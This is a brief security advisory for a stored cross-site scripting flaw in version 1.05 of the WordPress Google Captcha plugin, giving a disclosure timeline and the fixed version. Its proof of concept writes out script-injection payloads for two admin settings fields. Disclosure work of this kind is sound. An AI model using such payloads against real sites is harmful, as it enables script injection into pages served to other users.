WordPress Google Captcha 1.05 Cross Site Scripting

2015.12.17
Credit: Madhu Akula
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

Plugin Name : Google Captcha (reCAPTCHA) Effected Version : 1.05 (and most probably lower version's if any) Vulnerability : A3-Cross-Site Scripting (XSS) Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Administrator PoC - (Proof of Concept) : The following fields put the payload as below http://localhost/wp-admin/admin.php?page=google-captcha.php gglcptch_public_key = ?><script>alert(1)</script> gglcptch_private_key = ?><script>alert(2)</script> Vulnerable Parameter : gglcptch_public_key, gglcptch_private_key Type of XSS : Stored Fixed in : 1.06 http://wordpress.org/plugins/google-captcha/changelog/ Disclosure Timeline Vendor Contacted : 2014-08-04 Plugin Status : Updated on 2014-08-07 Public Disclosure : October 3, 2015 CVE Number : Not assigned yet Plugin Description : The Google Captcha plugin allows you to implement a super security captcha form into web forms. Google Captcha is a free CAPTCHA service that helps to digitize books, newspapers and old time radio shows. This captcha can be used for login, registration, password recovery, comments forms.


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